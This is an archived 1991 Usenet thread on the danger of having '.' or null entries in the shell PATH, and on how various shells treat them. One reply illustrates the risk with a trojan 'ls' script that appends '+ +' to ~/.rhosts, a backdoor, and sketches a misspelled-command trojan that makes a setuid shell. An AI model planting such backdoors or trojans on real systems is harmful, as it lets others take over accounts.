jeffb@aquifer.las.uiuc.edu (Jeffrey Biesiadecki) (01/25/91)
Hi - In a recent flame war in alt.sources, it was said that it was a bad idea to have '.' in your $PATH variable (I use tcsh, or csh, probably this would apply for any shell). What's wrong with doing this? Jeff -- /****************************************************************************** ** Jeff Biesiadecki ** University of Illinois, Urbana-Champaign ** ** jeffb@aquifer.las.uiuc.edu ** Departments of Geology and Computer Science ** ******************************************************************************/
mcgrew@ichthous.Eng.Sun.COM (Darin McGrew) (01/25/91)
jeffb@aquifer.las.uiuc.edu (Jeffrey Biesiadecki) writes: >In a recent flame war in alt.sources, it was said that it was a bad idea >to have '.' in your $PATH variable (I use tcsh, or csh, probably this >would apply for any shell). What's wrong with doing this? If you have '.' early in your search path, and you cd into a directory that is writable by other people, then you are vulnerable to trojan horses. Someone can create a dummy version of some commonly used command, you can execute it instead of the real version, and when you execute it, the dummy version can do any number of things that you wouldn't want it to do. The risk involved depends on how often you cd into publicly writable directories, hostile your environment is, and what privileges you have that others might be interested in. Personally, I have '.' in my path when I'm myself, but not when I'm root. Darin McGrew "The Beginning will make all things new, mcgrew@Eng.Sun.COM New life belongs to Him. Affiliation stated for He hands us each new moment saying, identification purposes only. 'My child, begin again.... You're free to start again.'"
pfalstad@tan.Princeton.EDU (Paul Falstad) (01/25/91)
[ Is this in the FAQ? I forget... ] jeffb@aquifer.las.uiuc.edu (Jeffrey Biesiadecki) wrote: >In a recent flame war in alt.sources, it was said that it was a bad idea >to have '.' in your $PATH variable (I use tcsh, or csh, probably this >would apply for any shell). What's wrong with doing this? Let's say you have . first (VERY stupid). % whoami joeuser % cd ~hacker/pub/funny % ls games jokes % logout joeuser's account has just been broken into. Where did it happen? Let's say you have . last. % cd ~hacker/pub/funny % mroe jokes mroe: Command not found. % more jokes Why did the chicken cross the road? To get to the other side. % logout Happened again here. Here's how: % ls games jokes % /bin/ls games jokes l ls ls-l moer more mroe sl % cat ./ls #! /bin/csh -f /bin/ls games jokes echo + + >>~/.rhosts % cat ./mroe #! /bin/sh ... make suid shell of joeuser ... case $SHELL in *csh) echo mroe: Command not found. ;; *) mroe: not found ;; esac % Get the idea? -- Paul Falstad, pfalstad@phoenix.princeton.edu PLink:HYPNOS GEnie:P.FALSTAD "And she's always on about men following her. I don't know what she thinks they're going to do to her. Vomit on her, Basil, says."-Flowery Twats
data@buhub (Mark Hall) (01/25/91)
jeffb@aquifer.las.uiuc.edu (Jeffrey Biesiadecki) writes: >Hi - >In a recent flame war in alt.sources, it was said that it was a bad idea >to have '.' in your $PATH variable (I use tcsh, or csh, probably this >would apply for any shell). What's wrong with doing this? >Jeff Jeff, why would you want to do this? I thought Un*x automatically checked the directory that you are in (your current directory) for commands you entered. (Yes, this may seem like a stupid question, but I'm wearing my asbestos briefs...) -- | Internet: data@{bucs1,buhub}.bradley.edu, al632@cleveland.freenet.edu | |-----------------------------------------------------------------------------| | F'net : 1:232/28 1:2250/9 (fname.lname@f<node>.n<net>.z<zone>.fidonet.org) | |-----------------------------------------------------------------------------| | "He sees you when you're sleeping, he knows when you're awake, but Captain, | | it makes no sense!" "But Spock, with Santa, ALL things are possible!" | | Kirk and Spock...Hallmark Greeting Cards |
guy@auspex.auspex.com (Guy Harris) (01/26/91)
>Jeff, why would you want to do this? I thought Un*x automatically checked the >directory that you are in (your current directory) for commands you entered. You thought incorrectly; UNIX shells, and the "exec[lv]p()" routines, check only if "." is in the current command search path. In addition to the trojan horse problems mentioned in other postings, note that the S5R2-and-later Bourne shell's mechanism for doing command hashing is disabled (or ineffective), as I remember, for directories in the path that follow a path entry of ".", so even if you do want "." in your directory you may want to stick it at the end. I forget whether the same is true of the Korn shell's "tracked alias" mechanism, and don't know what effect having "." anywhere other than at the end has on the C shell's command hashing (although they may be hosed too).
data@buhub (Mark Hall) (01/28/91)
In <5528@auspex.auspex.com> guy@auspex.auspex.com (Guy Harris) writes: > You thought incorrectly; UNIX shells, and the "exec[lv]p()" routines, > check only if "." is in the current command search path. Well, let me show you something: in my .profile is this path command: > PATH=:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk: if I run a program in the current directory (and it's not in my path command) my shell looks in the current directory FIRST. This is also the way MS-DOS works, but that's a different notes-group. This is why I made the original comment. I grant that other shells may not work this way (I'm not saying that they have to be alike), but my shell DOES treat my commands this way. BTW: I'm running UNIX SYSTEM V v3.2(i think) #disclaimer: technical errors mine, errors in flame-direction, yours. -- | Internet: data@{bucs1,buhub}.bradley.edu, al632@cleveland.freenet.edu | |-----------------------------------------------------------------------------| | F'net : 1:232/28 1:2250/9 (fname.lname@f<node>.n<net>.z<zone>.fidonet.org) | |-----------------------------------------------------------------------------| | "He sees you when you're sleeping, he knows when you're awake, but Captain, | | it makes no sense!" "But Spock, with Santa, ALL things are possible!" | | Kirk and Spock...Hallmark Greeting Cards |
pfalstad@phoenix.Princeton.EDU (Paul Falstad) (01/28/91)
data@buhub (Mark Hall) wrote: >In <5528@auspex.auspex.com> guy@auspex.auspex.com (Guy Harris) writes: >> You thought incorrectly; UNIX shells, and the "exec[lv]p()" routines, >> check only if "." is in the current command search path. > >Well, let me show you something: > >in my .profile is this path command: > >> PATH=:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk: > >if I run a program in the current directory (and it's not in my path command) >my shell looks in the current directory FIRST. This is also the way MS-DOS >works, but that's a different notes-group. This is why I made the original >comment. I grant that other shells may not work this way (I'm not saying that >they have to be alike), but my shell DOES treat my commands this way. >BTW: I'm running UNIX SYSTEM V v3.2(i think) Most if not all shells do work this way. Look at your PATH again: PATH=:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk: In path strings, a null component is synonymous with ".". You have . twice in your path, actually: once at the beginning and once at the end. More explicitly, your path is equivalent to: PATH=.:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk:. I would change your PATH to: PATH=/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR or at the very least: PATH=/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:. Now that you've posted to the net the fact that you have /tmp in your path, we don't want people creating trojan horses named /tmp/mroe, now do we? ;-) -- Paul Falstad, pfalstad@phoenix.princeton.edu PLink:HYPNOS GEnie:P.FALSTAD "And she's always on about men following her. I don't know what she thinks they're going to do to her. Vomit on her, Basil, says."-Flowery Twats
tchrist@convex.COM (Tom Christiansen) (01/28/91)
From the keyboard of data@buhub (Mark Hall):
:In <5528@auspex.auspex.com> guy@auspex.auspex.com (Guy Harris) writes:
:
:> You thought incorrectly; UNIX shells, and the "exec[lv]p()" routines,
:> check only if "." is in the current command search path.
:
:Well, let me show you something:
:
:in my .profile is this path command:
:
:> PATH=:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk:
:
:if I run a program in the current directory (and it's not in my path command)
:my shell looks in the current directory FIRST. This is also the way MS-DOS
:works, but that's a different notes-group. This is why I made the original
:comment. I grant that other shells may not work this way (I'm not saying that
:they have to be alike), but my shell DOES treat my commands this way.
:BTW: I'm running UNIX SYSTEM V v3.2(i think)
The colons in your path are not delimiters, but separators. The somewhat
subtle difference is that in yours, you have a leading and trailing
null element in your list. POSIX-incompliant systems have historically
interpreted null as dot.
---tom
--
"Hey, did you hear Stallman has replaced /vmunix with /vmunix.el? Now
he can finally have the whole O/S built-in to his editor like he
always wanted!" --me (Tom Christiansen <tchrist@convex.com>)bob@wyse.wyse.com (Bob McGowen x4312 dept208) (02/02/91)
In article <1991Jan28.003846.25111@bradley.bradley.edu> data@buhub (Mark Hall) writes: >In <5528@auspex.auspex.com> guy@auspex.auspex.com (Guy Harris) writes: > deleted discussion of exec()... >in my .profile is this path command: > >> PATH=:/usr/lbin:/usr/local/bin:/bin:/usr/bin:$HOME:$HOME/BIN:$HOME/USR:/usr/tmp:/tmp:/tmp/talk: > >if I run a program in the current directory (and it's not in my path command) >my shell looks in the current directory FIRST. This is also the way MS-DOS deleted discussion... PATH=:/usr/lbin...<rest of path deleted> ^^ This is a null path entry which defautlt to dot. You can have null entries anywhere by either placing two colons together (::) or placing a single colon at the beginning (as you did) or at the end. A path with no null entries WILL NOT search the current directory: PATH=/usr/bin:/bin:/usr/ucb This path will search the three directories named and nothing else. Bob McGowan (standard disclaimer, these are my own ...) Product Support, Wyse Technology, San Jose, CA ..!uunet!wyse!bob bob@wyse.com
d87-man@sm.luth.se (Mikael Adolfsson) (02/06/91)
bob@wyse.wyse.com (Bob McGowen x4312 dept208) writes: deleted discussion... >PATH=:/usr/lbin...<rest of path deleted> > ^^ >This is a null path entry which defautlt to dot. You can have null >entries anywhere by either placing two colons together (::) or placing >a single colon at the beginning (as you did) or at the end. This is not true for BASH. At least version 1.05.11 allow null entries without interpreting them as dot. -- Mikael Adolfsson # d87-man@sm.luth.se University of Lulea, Sweden # ...{uunet,mcsun}!sunic!sm.luth.se!d87-man
fenn@wpi.WPI.EDU (Brian Fennell) (02/06/91)
In article <1423@tau.sm.luth.se> d87-man@sm.luth.se (Mikael Adolfsson) writes: >bob@wyse.wyse.com (Bob McGowen x4312 dept208) writes: > >deleted discussion... > >>PATH=:/usr/lbin...<rest of path deleted> >> ^^ >>This is a null path entry which defautlt to dot. You can have null >>entries anywhere by either placing two colons together (::) or placing >>a single colon at the beginning (as you did) or at the end. > >This is not true for BASH. >At least version 1.05.11 allow null entries >without interpreting them as dot. That is definately a bug in BASH! Even brain-dead csh fools with "path" and leaves "PATH" in standard format. And I thought bash was suposed to be a great shell. I am shattered. Brian Fennell == fenn@wpi.wpi.edu
tchrist@convex.COM (Tom Christiansen) (02/06/91)
From the keyboard of fenn@wpi.WPI.EDU (Brian Fennell): :In article <1423@tau.sm.luth.se> d87-man@sm.luth.se (Mikael Adolfsson) writes: :>bob@wyse.wyse.com (Bob McGowen x4312 dept208) writes: :> :>deleted discussion... :> :>>PATH=:/usr/lbin...<rest of path deleted> :>> ^^ :>>This is a null path entry which defautlt to dot. You can have null :>>entries anywhere by either placing two colons together (::) or placing :>>a single colon at the beginning (as you did) or at the end. :> :>This is not true for BASH. :>At least version 1.05.11 allow null entries :>without interpreting them as dot. : :That is definately a bug in BASH! :Even brain-dead csh fools with "path" and leaves "PATH" in standard :format. Sorry, take it up with your nearest POSIX 1003.1 representative. Maybe it'll change in a dot-1 revision in 7 years or whatever. But I doubt it: this is considered a bad thing for various reasons. The problem is that old systems interpret "" as though it were ".", which is no longer the case in POSIX-compliant applications. Like Bash. I kinda woulda thought they've left it up to the kernel the barf (it does on my system no matter what program should try this), but maybe they put the code into the shell itself. --tom -- "Still waiting to read alt.fan.dan-bernstein using DBWM, Dan's own AI window manager, which argues with you for 10 weeks before resizing your window." ### And now for the question of the month: How do you spell relief? Answer: U=brnstnd@kramden.acf.nyu.edu; echo "/From: $U/h:j" >>~/News/KILL; expire -f $U
chet@odin.INS.CWRU.Edu (Chet Ramey) (02/06/91)
In article <1991Feb6.084135.11456@wpi.WPI.EDU> fenn@wpi.WPI.EDU (Brian Fennell) writes: >In article <1423@tau.sm.luth.se> d87-man@sm.luth.se (Mikael Adolfsson) writes: >>This is not true for BASH. >>At least version 1.05.11 allow null entries >>without interpreting them as dot. > >That is definately a bug in BASH! It certainly is. It's also been fixed, long ago: odin$ cd /tmp odin$ /bin/bash -version GNU bash, version 1.06.289 (CWRU) odin$ PATH=:/usr/bin odin$ cat > foo echo this is $0 odin$ chmod +x foo odin$ which foo bash: which: command not found odin$ foo this is ./foo >And I thought bash was suposed to be a great shell. I am shattered. Pull yourself up out of the gutter, man. Bash is a great shell. All is right with the world once again. :-) Chet -- Chet Ramey ``There's just no surf in Network Services Group Cleveland, U.S.A. ...'' Case Western Reserve University chet@ins.CWRU.Edu My opinions are just those, and mine alone.
chet@odin.INS.CWRU.Edu (Chet Ramey) (02/06/91)
In article <1991Feb06.122658.3584@convex.com> tchrist@convex.COM (Tom Christiansen) writes: >Sorry, take it up with your nearest POSIX 1003.1 representative. Maybe >it'll change in a dot-1 revision in 7 years or whatever. But I doubt >it: this is considered a bad thing for various reasons. The problem >is that old systems interpret "" as though it were ".", which is no >longer the case in POSIX-compliant applications. Like Bash. I kinda >woulda thought they've left it up to the kernel the barf (it does on >my system no matter what program should try this), but maybe they put >the code into the shell itself. No, you should take it up with your nearest Posix 1003.2 representative. For backwards compatibility, 1003.2 allows the shell to turn null PATH entries into `.'. Like Bash. path = extract_colon_unit (path_list, &path_index); if (!path || !*path) { if (path) free (path); path = savestring ("."); /* by definition. */ } However, a `strictly conforming' Posix.2 application will not rely on this being done, but rather use `.' explicitly. Chet -- Chet Ramey ``There's just no surf in Network Services Group Cleveland, U.S.A. ...'' Case Western Reserve University chet@ins.CWRU.Edu My opinions are just those, and mine alone.
dik@cwi.nl (Dik T. Winter) (02/07/91)
In article <1991Feb6.154106.7067@usenet.ins.cwru.edu> chet@po.CWRU.Edu writes: > odin$ which foo > bash: which: command not found > odin$ foo > this is ./foo > It is very tempting to give some nasty comment here. -- dik t. winter, cwi, amsterdam, nederland dik@cwi.nl
chet@odin.INS.CWRU.Edu (Chet Ramey) (02/08/91)
In article <2905@charon.cwi.nl> dik@cwi.nl (Dik T. Winter) writes: >In article <1991Feb6.154106.7067@usenet.ins.cwru.edu> chet@po.CWRU.Edu writes: > > odin$ which foo > > bash: which: command not found > > odin$ foo > > this is ./foo > > >It is very tempting to give some nasty comment here. Go for it. I have thick skin. Note that `which' is not a shell function or builtin, nor is it an executable in `.' or `/usr/bin'. It is an executable in a private bin directory. Chet -- Chet Ramey ``There's just no surf in Network Services Group Cleveland, U.S.A. ...'' Case Western Reserve University chet@ins.CWRU.Edu My opinions are just those, and mine alone.